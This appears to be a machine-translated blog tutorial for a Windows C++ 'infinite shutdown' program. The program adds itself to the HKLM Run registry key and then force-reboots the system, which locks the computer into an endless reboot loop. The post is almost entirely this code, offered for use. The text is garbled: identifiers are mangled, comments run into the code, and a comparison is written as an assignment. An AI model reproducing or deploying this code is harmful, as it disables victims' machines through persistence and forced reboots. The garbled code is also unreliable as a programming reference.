A/C + + infinite shutdown (power example)

In Windows systems, when the process is involved in other processes, or when you want to use shutdown for these high-risk commands, the following are the MSDN references

Three brothers of the right to mention
OpenProcessToken
Lookupprivilegevalue
AdjustTokenPrivileges

Let's use the following MSDN code to make a list of the infinite shutdown of the registry

#include <windows.h> #pragma comment (lib, "User32.lib") #pragma comment (lib, "Advapi32.lib") BOOL Mysystemshu      Tdown () {HANDLE htoken;         Token_privileges TKP;         Get a token for this process. if (! OpenProcessToken (GetCurrentProcess (), Token_adjust_privileges |         Token_query, &htoken)) return (FALSE);         Get the LUID for the shutdown privilege. Lookupprivilegevalue (NULL, Se_shutdown_name, &AMP;TKP. Privileges[0].         LUID); Tkp.  Privilegecount = 1; One privilege to set TKP. Privileges[0].         Attributes = se_privilege_enabled;         Get The shutdown privilege for this process.         AdjustTokenPrivileges (Htoken, FALSE, &AMP;TKP, 0, (ptoken_privileges) NULL, 0);         if (GetLastError () = ERROR_SUCCESS) return FALSE;         Shut down the system and force all applications to close. if (! ExitWindowsEx (Ewx_shutdown | Ewx_force, Shtdn_reason_major_OperatingSystem |                 Shtdn_reason_minor_upgrade |        shtdn_reason_flag_planned)) return FALSE;  Shutdown was successful return TRUE; }

The code above is MSDN, and the code for the infinite shutdown is given below (with detailed comments)

ShutdownDemo.cpp: Defines the entry point of the console application.      #include "stdafx.h" #include <windows.h> BOOL Mysystemshutdown () {HANDLE htoken;   The handle used for the operation Token_privileges TKP;         Used to hold specific information//Get a token for this process. if (! OpenProcessToken (GetCurrentProcess (), Token_adjust_privileges |        Token_query, &htoken)) return (FALSE);       Get the LUID for the shutdown privilege. If you want to raise the right, the following two functions to take the right Lookupprivilegevalue (NULL, Se_shutdown_name, &AMP;TKP. Privileges[0].        LUID); Tkp.  Privilegecount = 1; One privilege to set TKP. Privileges[0].        Attributes = se_privilege_enabled;               Get The shutdown privilege for this process.        AdjustTokenPrivileges (Htoken, FALSE, &AMP;TKP, 0, (ptoken_privileges) NULL, 0);        if (GetLastError () = ERROR_SUCCESS) return FALSE;         Shut down the system and force all applications to close. if (! ExitWindowsEx (ewx_reboot| Ewx_forcE, Shtdn_reason_major_operatingsystem |          Shtdn_reason_minor_upgrade |        shtdn_reason_flag_planned)) return FALSE;  Shutdown was successful return TRUE;      } int _tmain (int argc, _tchar* argv[]) {GetChar ();        HKEY HKEY = {0}; /*long RegOpenKeyEx (HKEY HKEY,//need to open the name of the primary key LPCTSTR Lpsubkey,//The name of the subkey that needs to be opened DWORD uloptions,// Left, set to 0 Regsam samdesired,//secure access token, i.e. permission Phkey phkresult//Get handle to open key) */Regopenkeyexa (H    Key_local_machine, "Software\\microsoft\\windows\\currentversion\\run", 0,key_write,&hkey);      Opens a specified registry key char Path[max_path] = {0};    GetModuleFileNameA (nullptr, Path, MAX_PATH);      Gets the current file path RegSetValueEx (HKey, "ShutDown", 0, REG_SZ, (byte*) path, strlen (path));      Mysystemshutdown ();  return 0; }

If the following problem occurs

Please modify the character set as follows

Let's look at the running results!
